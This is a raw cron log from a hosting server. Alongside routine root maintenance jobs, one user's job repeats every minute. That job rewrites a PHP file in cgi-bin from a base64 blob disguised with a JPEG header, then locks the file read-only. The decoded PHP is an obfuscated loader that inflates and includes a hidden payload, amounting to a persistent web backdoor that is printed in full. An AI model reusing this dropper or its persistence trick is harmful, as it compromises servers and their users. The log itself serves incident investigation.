Aug 30 15:29:01 server CROND[29626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:29:01 server CROND[29627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:30:01 server CROND[30054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:30:01 server CROND[30055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:30:01 server CROND[30057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:30:01 server CROND[30056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:30:01 server CROND[30060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:30:01 server CROND[30062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:30:01 server CROND[30063]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:30:01 server CROND[30061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:31:01 server CROND[30894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:31:01 server CROND[30895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:31:01 server CROND[30896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:32:01 server CROND[31265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:32:01 server CROND[31266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:32:01 server CROND[31267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:33:01 server CROND[31700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:33:01 server CROND[31701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:33:01 server CROND[31702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:34:01 server CROND[32173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:34:01 server CROND[32174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:34:01 server CROND[32175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:35:01 server CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:35:01 server CROND[32580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:35:01 server CROND[32579]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 15:35:01 server CROND[32582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:35:01 server CROND[32589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:35:01 server CROND[32585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:35:01 server CROND[32584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:35:01 server CROND[32587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:35:01 server CROND[32590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:36:01 server CROND[1017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:36:01 server CROND[1018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:36:01 server CROND[1019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:37:01 server CROND[1487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:37:01 server CROND[1488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:37:01 server CROND[1489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:38:01 server CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:38:01 server CROND[1875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:38:01 server CROND[1876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:39:01 server CROND[2285]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 15:39:01 server CROND[2288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:39:01 server CROND[2287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:39:01 server CROND[2286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:40:01 server CROND[2832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:40:01 server CROND[2833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:40:01 server CROND[2834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:40:01 server CROND[2837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:40:01 server CROND[2839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:40:01 server CROND[2838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:40:01 server CROND[2836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 